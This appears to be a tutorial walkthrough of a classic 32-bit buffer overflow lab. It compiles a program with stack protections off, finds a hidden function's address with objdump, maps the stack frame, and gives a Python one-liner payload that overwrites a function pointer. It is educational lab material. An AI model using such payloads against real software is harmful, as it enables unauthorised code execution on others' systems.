Basic exploitation example walkthrough

```
$ gcc -m32 -fno-stack-protector -z execstack -exp101.c -o exp101
```

1. In this example, we attempt to execute an unused functon

    i. Assuming we have identified a vanilla buffer overflow vulnerability

    ii. Identify the address of the `hidden` function.

    ```
    $ objdump -D -M intel exp101 | grep -e "hidden"
    ```

    The dump file is provided here

    iii. We wish to analyse the stack such that we know where our payload goes!

```
Expected memory structure
|----------------------|<--------- Low addresses
|                      |
|                      |
|                      |
|                      |
|----------------------|<--------- Frame pointer (Top of stack)
|   buffer[0]='A'=0x41 | 1 byte
|----------------------|
|       buffer[1]      |   "
|----------------------|
|       buffer[2]      |   "
|----------------------|
|       buffer[3]      |   "
|----------------------|
|       buffer[4]      |   "
|----------------------|
|           ...        |   "
|----------------------|
|      buffer[31]      |   "
|----------------------|
|        f = NULL      | 4 bytes
|----------------------|
|  Saved Frame pointer |   "
|----------------------|
```

```
|     return address    |   "  <--- Address to return to in main
|-----------------------|
|           a           |   "
|-----------------------|
|           b           |   "
|-----------------------|
|           c           |   "
|-----------------------|
|           d           |   "
|-----------------------|<--------- High addresses
```

iv. From the model, we require `32 bytes` of data to fill the buffer and an extra `4 bytes` to overwrite `f`.

- The extra `4 bytes` to overwrite `NULL` in `f` will be the address of `hidden`. In my case, it is `0x0804843b`

  ```
  $ python -c "print '\x41'*32 + '\x3b\x84\x04\x08'"
  ```

  The weird address byte order relates to endianess.